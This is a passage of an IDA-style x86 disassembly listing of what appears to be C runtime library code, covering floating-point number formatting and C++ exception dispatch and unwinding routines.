mov [eax], ecx
mov ecx, [ebp+var_4]
mov [eax+4], ecx
leave
retn
; ---------------------------------------------------------------------------
loc_422264: ; CODE XREF: sub_42223B+Cj
lea eax, [ebp+arg_8]
push eax
call sub_424D55
mov eax, [ebp+arg_4]
pop ecx
pop ecx
mov ecx, [ebp+arg_8]
mov [eax], ecx
leave
retn
sub_42223B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422279 proc near ; CODE XREF: sub_4224F6+17p
; sub_422540+47p
var_10 = qword ptr -10h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
cmp byte_4DBE5C, 0
push ebx
push esi
jz short loc_4222AE
mov ebx, [ebp+arg_8]
mov eax, dword_4DBE58
xor ecx, ecx
mov esi, eax
test ebx, ebx
setnle cl
push ecx
xor ecx, ecx
cmp dword ptr [eax], 2Dh
setz cl
add ecx, [ebp+arg_4]
push ecx
call sub_422591
pop ecx
pop ecx
jmp short loc_4222E6
; ---------------------------------------------------------------------------
loc_4222AE: ; CODE XREF: sub_422279+Cj
mov eax, [ebp+arg_0]
push ecx
push ecx
fld qword ptr [eax]
fstp [esp+10h+var_10]
call sub_424DF9
mov ebx, [ebp+arg_8]
mov esi, eax
push esi
mov edx, [ebp+arg_4]
lea eax, [ebx+1]
push eax
xor eax, eax
cmp dword ptr [esi], 2Dh
setz al
xor ecx, ecx
test ebx, ebx
setnle cl
add edx, eax
add ecx, edx
push ecx
call sub_424D82
add esp, 14h
loc_4222E6: ; CODE XREF: sub_422279+33j
cmp dword ptr [esi], 2Dh
mov eax, [ebp+arg_4]
jnz short loc_4222F2
mov byte ptr [eax], 2Dh
inc eax
loc_4222F2: ; CODE XREF: sub_422279+73j
test ebx, ebx
jle short loc_42230A
mov cl, [eax+1]
push edi
lea edi, [eax+1]
mov [eax], cl
mov cl, byte_43D088
mov eax, edi
pop edi
mov [eax], cl
loc_42230A: ; CODE XREF: sub_422279+7Bj
xor ecx, ecx
push offset aE000 ; "e+000"
cmp byte_4DBE5C, cl
setz cl
add ecx, eax
add ecx, ebx
push ecx
call sub_41C890
cmp [ebp+arg_C], 0
pop ecx
pop ecx
mov ecx, eax
jz short loc_422331
mov byte ptr [ecx], 45h
loc_422331: ; CODE XREF: sub_422279+B3j
mov eax, [esi+0Ch]
inc ecx
cmp byte ptr [eax], 30h
jz short loc_422376
mov ebx, [esi+4]
dec ebx
jns short loc_422345
neg ebx
mov byte ptr [ecx], 2Dh
loc_422345: ; CODE XREF: sub_422279+C5j
inc ecx
cmp ebx, 64h
jl short loc_42235C
mov eax, ebx
push 64h
cdq
pop esi
idiv esi
add [ecx], al
mov eax, ebx
cdq
idiv esi
mov ebx, edx
loc_42235C: ; CODE XREF: sub_422279+D0j
inc ecx
cmp ebx, 0Ah
jl short loc_422373
mov eax, ebx
push 0Ah
cdq
pop esi
idiv esi
add [ecx], al
mov eax, ebx
cdq
idiv esi
mov ebx, edx
loc_422373: ; CODE XREF: sub_422279+E7j
add [ecx+1], bl
loc_422376: ; CODE XREF: sub_422279+BFj
mov eax, [ebp+arg_4]
pop esi
pop ebx
pop ebp
retn
sub_422279 endp
; =============== S U B R O U T I N E =======================================
sub_42237D proc near ; CODE XREF: sub_42251D+13p
; sub_422540+1Ep
var_18 = qword ptr -18h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
cmp byte_4DBE5C, 0
push ebx
push ebp
mov ebp, [esp+8+arg_4]
push esi
push edi
jz short loc_4223B8
mov eax, dword_4DBE60
mov ebx, [esp+10h+arg_8]
mov esi, dword_4DBE58
cmp eax, ebx
jnz short loc_4223E8
xor ecx, ecx
cmp dword ptr [esi], 2Dh
setz cl
add ecx, eax
add ecx, ebp
mov eax, ecx
mov byte ptr [eax], 30h
and byte ptr [eax+1], 0
jmp short loc_4223E8
; ---------------------------------------------------------------------------
loc_4223B8: ; CODE XREF: sub_42237D+Fj
mov eax, [esp+10h+arg_0]
push ecx
push ecx
fld qword ptr [eax]
fstp [esp+18h+var_18]
call sub_424DF9
mov ebx, [esp+18h+arg_8]
mov esi, eax
push esi
mov eax, [esi+4]
add eax, ebx
push eax
xor eax, eax
cmp dword ptr [esi], 2Dh
setz al
add eax, ebp
push eax
call sub_424D82
add esp, 14h
loc_4223E8: ; CODE XREF: sub_42237D+22j
; sub_42237D+39j
cmp dword ptr [esi], 2Dh
mov edi, ebp
jnz short loc_4223F6
mov byte ptr [ebp+0], 2Dh
lea edi, [ebp+1]
loc_4223F6: ; CODE XREF: sub_42237D+70j
mov eax, [esi+4]
test eax, eax
jg short loc_42240D
push 1
push edi
call sub_422591
pop ecx
mov byte ptr [edi], 30h
pop ecx
inc edi
jmp short loc_42240F
; ---------------------------------------------------------------------------
loc_42240D: ; CODE XREF: sub_42237D+7Ej
add edi, eax
loc_42240F: ; CODE XREF: sub_42237D+8Ej
test ebx, ebx
jle short loc_422454
push 1
push edi
call sub_422591
mov al, byte_43D088
pop ecx
mov [edi], al
mov esi, [esi+4]
inc edi
pop ecx
test esi, esi
jge short loc_422454
cmp byte_4DBE5C, 0
jz short loc_422439
neg esi
jmp short loc_42243F
; ---------------------------------------------------------------------------
loc_422439: ; CODE XREF: sub_42237D+B6j
neg esi
cmp ebx, esi
jl short loc_422441
loc_42243F: ; CODE XREF: sub_42237D+BAj
mov ebx, esi
loc_422441: ; CODE XREF: sub_42237D+C0j
push ebx
push edi
call sub_422591
push ebx
push 30h
push edi
call sub_41BF70
add esp, 14h
loc_422454: ; CODE XREF: sub_42237D+94j
; sub_42237D+ADj
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
retn
sub_42237D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42245B proc near ; CODE XREF: sub_422540+34p
var_14 = qword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
push ecx
push ecx
fld qword ptr [edi]
fstp [esp+14h+var_14]
call sub_424DF9
mov dword_4DBE58, eax
mov ecx, [eax+4]
dec ecx
mov ebx, [ebp+arg_8]
mov dword_4DBE60, ecx
xor ecx, ecx
cmp dword ptr [eax], 2Dh
push eax
push ebx
setz cl
add ecx, [ebp+arg_4]
mov esi, ecx
push esi
call sub_424D82
mov eax, dword_4DBE58
add esp, 14h
mov ecx, [eax+4]
dec ecx
cmp dword_4DBE60, ecx
setl cl
mov byte_4DBE64, cl
mov eax, [eax+4]
dec eax
cmp eax, 0FFFFFFFCh
mov dword_4DBE60, eax
jl short loc_4224E1
cmp eax, ebx
jge short loc_4224E1
test cl, cl
jz short loc_4224D2
loc_4224C8: ; CODE XREF: sub_42245B+72j
mov al, [esi]
inc esi
test al, al
jnz short loc_4224C8
and [esi-2], al
loc_4224D2: ; CODE XREF: sub_42245B+6Bj
push ebx
push [ebp+arg_4]
push edi
call sub_42251D
add esp, 0Ch
jmp short loc_4224F1
; ---------------------------------------------------------------------------
loc_4224E1: ; CODE XREF: sub_42245B+63j
; sub_42245B+67j
push [ebp+arg_C]
push ebx
push [ebp+arg_4]
push edi
call sub_4224F6
add esp, 10h
loc_4224F1: ; CODE XREF: sub_42245B+84j
pop edi
pop esi
pop ebx
pop ebp
retn
sub_42245B endp
; =============== S U B R O U T I N E =======================================
sub_4224F6 proc near ; CODE XREF: sub_42245B+8Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push [esp+arg_C]
mov byte_4DBE5C, 1
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_422279
and byte_4DBE5C, 0
add esp, 10h
retn
sub_4224F6 endp
; =============== S U B R O U T I N E =======================================
sub_42251D proc near ; CODE XREF: sub_42245B+7Cp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push [esp+arg_8]
mov byte_4DBE5C, 1
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_42237D
and byte_4DBE5C, 0
add esp, 0Ch
retn
sub_42251D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422540 proc near ; CODE XREF: sub_41FF3F+3AAp
; DATA XREF: sub_41D13Co ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
cmp [ebp+arg_8], 65h
jz short loc_42257B
cmp [ebp+arg_8], 45h
jz short loc_42257B
cmp [ebp+arg_8], 66h
jnz short loc_422568
push [ebp+arg_C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_42237D
add esp, 0Ch
pop ebp
retn
; ---------------------------------------------------------------------------
loc_422568: ; CODE XREF: sub_422540+13j
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_42245B
jmp short loc_42258C
; ---------------------------------------------------------------------------
loc_42257B: ; CODE XREF: sub_422540+7j
; sub_422540+Dj
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_422279
loc_42258C: ; CODE XREF: sub_422540+39j
add esp, 10h
pop ebp
retn
sub_422540 endp
; =============== S U B R O U T I N E =======================================
sub_422591 proc near ; CODE XREF: sub_422279+2Cp
; sub_42237D+83p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push edi
mov edi, [esp+4+arg_4]
test edi, edi
jz short loc_4225B4
push esi
mov esi, [esp+8+arg_0]
push esi
call sub_41B9C0
inc eax
push eax
push esi
add esi, edi
push esi
call sub_41D670
add esp, 10h
pop esi
loc_4225B4: ; CODE XREF: sub_422591+7j
pop edi
retn
sub_422591 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4225B6 proc near ; CODE XREF: ___:0041D31Cp
; sub_41D385+1Bp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_10]
push edi
mov edi, 19930520h
cmp [esi], edi
jz short loc_4225CC
call sub_422E52
loc_4225CC: ; CODE XREF: sub_4225B6+Fj
mov eax, [ebp+arg_0]
test byte ptr [eax+4], 66h
jz short loc_4225F4
cmp dword ptr [esi+4], 0
jz short loc_42264A
cmp [ebp+arg_14], 0
jnz short loc_42264A
push 0FFFFFFFFh
push esi
push [ebp+arg_C]
push [ebp+arg_4]
call sub_4228FD
add esp, 10h
jmp short loc_42264A
; ---------------------------------------------------------------------------
loc_4225F4: ; CODE XREF: sub_4225B6+1Dj
cmp dword ptr [esi+0Ch], 0
jz short loc_42264A
cmp dword ptr [eax], 0E06D7363h
jnz short loc_42262E
cmp [eax+14h], edi
jbe short loc_42262E
mov ecx, [eax+1Ch]
mov ecx, [ecx+8]
test ecx, ecx
jz short loc_42262E
movzx edx, byte ptr [ebp+arg_1C]
push edx
push [ebp+arg_18]
push [ebp+arg_14]
push esi
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push eax
call ecx
add esp, 20h
jmp short loc_42264D
; ---------------------------------------------------------------------------
loc_42262E: ; CODE XREF: sub_4225B6+4Aj
; sub_4225B6+4Fj ...
push [ebp+arg_18]
push [ebp+arg_14]
push [ebp+arg_1C]
push esi
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push eax
call sub_422651
add esp, 20h
loc_42264A: ; CODE XREF: sub_4225B6+23j
; sub_4225B6+29j ...
push 1
pop eax
loc_42264D: ; CODE XREF: sub_4225B6+76j
pop edi
pop esi
pop ebp
retn
sub_4225B6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422651 proc near ; CODE XREF: sub_4225B6+8Cp
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = byte ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
sub esp, 18h
mov eax, [ebp+arg_4]
and byte ptr [ebp+var_14], 0
mov eax, [eax+8]
cmp eax, 0FFFFFFFFh
mov [ebp+var_10], eax
jl short loc_422671
mov ecx, [ebp+arg_10]
cmp eax, [ecx+4]
jl short loc_422676
loc_422671: ; CODE XREF: sub_422651+16j
call sub_422E52
loc_422676: ; CODE XREF: sub_422651+1Ej
push ebx
push esi
mov esi, [ebp+arg_0]
mov ebx, 0E06D7363h
push edi
mov edi, 19930520h
cmp [esi], ebx
jnz loc_4227CD
cmp dword ptr [esi+10h], 3
jnz short loc_4226EA
cmp [esi+14h], edi
jnz short loc_4226EA
cmp dword ptr [esi+1Ch], 0
jnz short loc_4226EA
mov esi, dword_4DBE68
test esi, esi
jz loc_4227C8
mov eax, dword_4DBE6C
push 1
push esi
mov [ebp+arg_8], eax
mov byte ptr [ebp+var_14], 1
call sub_424F80
pop ecx
test eax, eax
pop ecx
jnz short loc_4226CC
call sub_422E52
loc_4226CC: ; CODE XREF: sub_422651+74j
cmp [esi], ebx
jnz loc_4227CD
cmp dword ptr [esi+10h], 3
jnz short loc_4226EA
cmp [esi+14h], edi
jnz short loc_4226EA
cmp dword ptr [esi+1Ch], 0
jnz short loc_4226EA
call sub_422E52
loc_4226EA: ; CODE XREF: sub_422651+41j
; sub_422651+46j ...
cmp [esi], ebx
jnz loc_4227CD
cmp dword ptr [esi+10h], 3
jnz loc_4227CD
cmp [esi+14h], edi
jnz loc_4227CD
mov edi, [ebp+var_10]
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_4]
push eax
push edi
push [ebp+arg_18]
push [ebp+arg_10]
call sub_41D4D3
add esp, 14h
mov ebx, eax
loc_422721: ; CODE XREF: sub_422651+162j
mov eax, [ebp+var_4]
cmp eax, [ebp+var_18]
jnb loc_4227B8
cmp [ebx], edi
jg short loc_4227AD
cmp edi, [ebx+4]
jg short loc_4227AD
mov eax, [ebx+10h]
mov [ebp+arg_0], eax
mov eax, [ebx+0Ch]
test eax, eax
mov [ebp+var_C], eax
jle short loc_4227AA
loc_422746: ; CODE XREF: sub_422651+131j
mov eax, [esi+1Ch]
mov eax, [eax+0Ch]
lea edi, [eax+4]
mov eax, [eax]
test eax, eax
mov [ebp+var_8], eax
jle short loc_422777
loc_422758: ; CODE XREF: sub_422651+124j
push dword ptr [esi+1Ch]
push dword ptr [edi]
push [ebp+arg_0]
call sub_4228A0
add esp, 0Ch
test eax, eax
jnz short loc_422786
dec [ebp+var_8]
add edi, 4
cmp [ebp+var_8], eax
jg short loc_422758
loc_422777: ; CODE XREF: sub_422651+105j
dec [ebp+var_C]
add [ebp+arg_0], 10h
cmp [ebp+var_C], 0
jg short loc_422746
jmp short loc_4227AA
; ---------------------------------------------------------------------------
loc_422786: ; CODE XREF: sub_422651+119j
push [ebp+var_14]
push [ebp+arg_1C]
push [ebp+arg_18]
push ebx
push dword ptr [edi]
push [ebp+arg_0]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call sub_4229B1
; ---------------------------------------------------------------------------
add esp, 2Ch
loc_4227AA: ; CODE XREF: sub_422651+F3j
; sub_422651+133j
mov edi, [ebp+var_10]
loc_4227AD: ; CODE XREF: sub_422651+DEj
; sub_422651+E3j
inc [ebp+var_4]
add ebx, 14h
jmp loc_422721
; ---------------------------------------------------------------------------
loc_4227B8: ; CODE XREF: sub_422651+D6j
cmp [ebp+arg_14], 0
jz short loc_4227C8
push 1
push esi
call sub_422D26
pop ecx
pop ecx
loc_4227C8: ; CODE XREF: sub_422651+56j
; sub_422651+16Bj ...
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_4227CD: ; CODE XREF: sub_422651+37j
; sub_422651+7Dj ...
cmp [ebp+arg_14], 0
jnz short loc_4227F3
push [ebp+arg_1C]
push [ebp+arg_18]
push [ebp+var_10]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call sub_4227F8
add esp, 20h
jmp short loc_4227C8
; ---------------------------------------------------------------------------
loc_4227F3: ; CODE XREF: sub_422651+180j
jmp sub_422DFC
sub_422651 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4227F8 proc near ; CODE XREF: sub_422651+198p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push ecx
push ecx
cmp dword_4DBE70, 0
push esi
push edi
jz short loc_422829
push [ebp+arg_1C]
push [ebp+arg_18]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41D3AA
add esp, 1Ch
test eax, eax
jnz short loc_42289C
loc_422829: ; CODE XREF: sub_4227F8+Ej
mov edi, [ebp+arg_14]
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
push edi
push [ebp+arg_18]
push [ebp+arg_10]
call sub_41D4D3
add esp, 14h
mov esi, eax
loc_422845: ; CODE XREF: sub_4227F8+A2j
mov eax, [ebp+var_4]
cmp eax, [ebp+var_8]
jnb short loc_42289C
cmp edi, [esi]
jl short loc_422894
cmp edi, [esi+4]
jg short loc_422894
mov eax, [esi+0Ch]
mov ecx, [esi+10h]
shl eax, 4
add eax, ecx
mov ecx, [eax-0Ch]
test ecx, ecx
jz short loc_42286E
cmp byte ptr [ecx+8], 0
jnz short loc_422894
loc_42286E: ; CODE XREF: sub_4227F8+6Ej
push 1
add eax, 0FFFFFFF0h
push [ebp+arg_1C]
push [ebp+arg_18]
push esi
push 0
push eax
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4229B1
; ---------------------------------------------------------------------------
add esp, 2Ch
loc_422894: ; CODE XREF: sub_4227F8+57j
; sub_4227F8+5Cj ...
inc [ebp+var_4]
add esi, 14h
jmp short loc_422845
; ---------------------------------------------------------------------------
loc_42289C: ; CODE XREF: sub_4227F8+2Fj
; sub_4227F8+53j
pop edi
pop esi
leave
retn
sub_4227F8 endp
; =============== S U B R O U T I N E =======================================
sub_4228A0 proc near ; CODE XREF: sub_422651+10Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
push edi
mov edi, [esp+8+arg_0]
mov eax, [edi+4]
test eax, eax
jz short loc_4228F7
cmp byte ptr [eax+8], 0
lea edx, [eax+8]
jz short loc_4228F7
mov esi, [esp+8+arg_4]
mov ecx, [esi+4]
cmp eax, ecx
jz short loc_4228D1
add ecx, 8
push ecx
push edx
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_4228F3
loc_4228D1: ; CODE XREF: sub_4228A0+1Fj
test byte ptr [esi], 2
jz short loc_4228DB
test byte ptr [edi], 8
jz short loc_4228F3
loc_4228DB: ; CODE XREF: sub_4228A0+34j
mov eax, [esp+8+arg_8]
mov eax, [eax]
test al, 1
jz short loc_4228EA
test byte ptr [edi], 1
jz short loc_4228F3
loc_4228EA: ; CODE XREF: sub_4228A0+43j
test al, 2
jz short loc_4228F7
test byte ptr [edi], 2
jnz short loc_4228F7
loc_4228F3: ; CODE XREF: sub_4228A0+2Fj
; sub_4228A0+39j ...
xor eax, eax
jmp short loc_4228FA
; ---------------------------------------------------------------------------
loc_4228F7: ; CODE XREF: sub_4228A0+Bj
; sub_4228A0+14j ...
push 1
pop eax
loc_4228FA: ; CODE XREF: sub_4228A0+55j
pop edi
pop esi
retn
sub_4228A0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4228FD proc near ; CODE XREF: sub_4225B6+34p
; ___:004229F3p
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4278A8
push offset sub_423CC0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov ebx, [ebp+arg_0]
mov esi, [ebx+8]
mov [ebp+var_1C], esi
mov edi, [ebp+arg_8]
loc_42292F: ; CODE XREF: sub_4228FD+8Aj
cmp esi, [ebp+arg_C]
jz short loc_422989
cmp esi, 0FFFFFFFFh
jle short loc_42293E
cmp esi, [edi+4]
jl short loc_422943
loc_42293E: ; CODE XREF: sub_4228FD+3Aj
call sub_422E52
loc_422943: ; CODE XREF: sub_4228FD+3Fj
and [ebp+var_4], 0
mov eax, [edi+8]
mov eax, [eax+esi*8+4]
test eax, eax
jz short loc_42295E
push 103h
push ebx
push eax
call sub_422DB0
loc_42295E: ; CODE XREF: sub_4228FD+53j
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_42297E
; ---------------------------------------------------------------------------
push [ebp+var_14]
call sub_42299B
pop ecx
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
or [ebp+var_4], 0FFFFFFFFh
mov edi, [ebp+arg_8]
mov ebx, [ebp+arg_0]
mov esi, [ebp+var_1C]
loc_42297E: ; CODE XREF: sub_4228FD+65j
mov eax, [edi+8]
mov esi, [eax+esi*8]
mov [ebp+var_1C], esi
jmp short loc_42292F
; ---------------------------------------------------------------------------
loc_422989: ; CODE XREF: sub_4228FD+35j
mov [ebx+8], esi
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_4228FD endp
; =============== S U B R O U T I N E =======================================
sub_42299B proc near ; CODE XREF: sub_4228FD+6Ap
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov eax, [eax]
cmp dword ptr [eax], 0E06D7363h
jz short loc_4229AC
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_4229AC: ; CODE XREF: sub_42299B+Cj
jmp sub_422DFC
sub_42299B endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_4229B1 proc near ; CODE XREF: sub_422651+151p
; sub_4227F8+94p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_24 = dword ptr 2Ch
push ebp
mov ebp, esp
cmp [ebp+arg_18], 0
push ebx
mov ebx, [ebp+arg_14]
push esi
push edi
mov edi, [ebp+arg_4]
jz short loc_4229D3
push [ebp+arg_18]
push ebx
push edi
push [ebp+arg_0]
call sub_422B62
add esp, 10h
loc_4229D3: ; CODE XREF: sub_4229B1+10j
cmp [ebp+arg_24], 0
push [ebp+arg_0]
jnz short loc_4229DF
push edi
jmp short loc_4229E2
; ---------------------------------------------------------------------------
loc_4229DF: ; CODE XREF: sub_4229B1+29j
push [ebp+arg_24]
loc_4229E2: ; CODE XREF: sub_4229B1+2Cj
call sub_41D2AC
sub_4229B1 endp
; ---------------------------------------------------------------------------
mov esi, [ebp+24h]
push dword ptr [esi]
push dword ptr [ebp+18h]
push dword ptr [ebp+14h]
push edi
call sub_4228FD
mov eax, [esi+4]
push 100h
push dword ptr [ebp+28h]
inc eax
mov [edi+8], eax
push dword ptr [ebx+0Ch]
push dword ptr [ebp+18h]
push dword ptr [ebp+10h]
push edi
push dword ptr [ebp+8]
call sub_422A2C
add esp, 2Ch
test eax, eax
jz short loc_422A27
push edi
push eax
call sub_41D26A
loc_422A27: ; CODE XREF: ___:00422A1Ej
pop edi
pop esi
pop ebx
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422A2C proc near ; CODE XREF: ___:00422A14p
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4278B8
push offset sub_423CC0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, [ebp+arg_10]
mov [ebp+var_2C], eax
xor ebx, ebx
mov [ebp+var_24], ebx
mov esi, [ebp+arg_4]
mov ecx, [esi-4]
mov [ebp+var_28], ecx
mov ecx, dword_4DBE68
mov [ebp+var_1C], ecx
mov ecx, dword_4DBE6C
mov [ebp+var_20], ecx
mov edi, [ebp+arg_0]
mov dword_4DBE68, edi
mov ecx, [ebp+arg_8]
mov dword_4DBE6C, ecx
mov [ebp+var_4], ebx
mov [ebp+var_4], 1
push [ebp+arg_18]
push [ebp+arg_14]
push eax
push [ebp+arg_C]
push esi
call sub_41D331
add esp, 14h
mov [ebp+var_2C], eax
mov [ebp+var_4], ebx
or [ebp+var_4], 0FFFFFFFFh
call sub_422AF2
mov eax, [ebp+var_2C]
loc_422AB9: ; CODE XREF: sub_422AD2+16j
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_422A2C endp
; =============== S U B R O U T I N E =======================================
sub_422AC8 proc near ; DATA XREF: ___:004278C8o
push dword ptr [ebp-14h]
call sub_422B38
pop ecx
retn
sub_422AC8 endp
; =============== S U B R O U T I N E =======================================
sub_422AD2 proc near ; DATA XREF: ___:004278CCo
mov esp, [ebp-18h]
and dword ptr [ebp-2Ch], 0
push 0FFFFFFFFh
lea eax, [ebp-10h]
push eax
call sub_41D592
pop ecx
pop ecx
xor eax, eax
jmp short loc_422AB9
sub_422AD2 endp
; ---------------------------------------------------------------------------
loc_422AEA: ; DATA XREF: ___:004278C0o
xor ebx, ebx
mov esi, [ebp+0Ch]
mov edi, [ebp+8]
; =============== S U B R O U T I N E =======================================
sub_422AF2 proc near ; CODE XREF: sub_422A2C+85p
mov eax, [ebp-28h]
mov [esi-4], eax
mov eax, [ebp-1Ch]
mov dword_4DBE68, eax
mov eax, [ebp-20h]
mov dword_4DBE6C, eax
cmp dword ptr [edi], 0E06D7363h
jnz short locret_422B37
cmp dword ptr [edi+10h], 3
jnz short locret_422B37
cmp dword ptr [edi+14h], 19930520h
jnz short locret_422B37
cmp [ebp-24h], ebx
jnz short locret_422B37
cmp [ebp-2Ch], ebx
jz short locret_422B37
call sub_41D5FA
push eax
push edi
call sub_422D26
pop ecx
pop ecx
locret_422B37: ; CODE XREF: sub_422AF2+1Cj
; sub_422AF2+22j ...
retn
sub_422AF2 endp
; =============== S U B R O U T I N E =======================================
sub_422B38 proc near ; CODE XREF: sub_422AC8+3p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov eax, [eax]
cmp dword ptr [eax], 0E06D7363h
jnz short loc_422B5F
cmp dword ptr [eax+10h], 3
jnz short loc_422B5F
cmp dword ptr [eax+14h], 19930520h
jnz short loc_422B5F
cmp dword ptr [eax+1Ch], 0
jnz short loc_422B5F
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_422B5F: ; CODE XREF: sub_422B38+Cj
; sub_422B38+12j ...
xor eax, eax
retn
sub_422B38 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422B62 proc near ; CODE XREF: sub_4229B1+1Ap
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4278D0
push offset sub_423CC0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov ecx, [ebp+arg_8]
mov eax, [ecx+4]
test eax, eax
jz loc_422D0B
cmp byte ptr [eax+8], 0
jz loc_422D0B
mov eax, [ecx+8]
test eax, eax
jz loc_422D0B
mov edx, [ebp+arg_4]
lea edi, [eax+edx+0Ch]
and [ebp+var_4], 0
test byte ptr [ecx], 8
jz short loc_422BFF
mov esi, [ebp+arg_0]
push 1
push dword ptr [esi+18h]
call sub_424F80
pop ecx
pop ecx
test eax, eax
jz loc_422D02
push 1
push edi
call sub_424F9C
pop ecx
pop ecx
test eax, eax
jz loc_422D02
mov eax, [esi+18h]
mov [edi], eax
mov ecx, [ebp+arg_C]
add ecx, 8
push ecx
loc_422BF0: ; CODE XREF: sub_422B62+F5j
push eax
call sub_422D8D
pop ecx
pop ecx
mov [edi], eax
jmp loc_422D07
; ---------------------------------------------------------------------------
loc_422BFF: ; CODE XREF: sub_422B62+57j
mov esi, [ebp+arg_C]
test byte ptr [esi], 1
jz short loc_422C59
mov ebx, [ebp+arg_0]
push 1
push dword ptr [ebx+18h]
call sub_424F80
pop ecx
pop ecx
test eax, eax
jz loc_422D02
push 1
push edi
call sub_424F9C
pop ecx
pop ecx
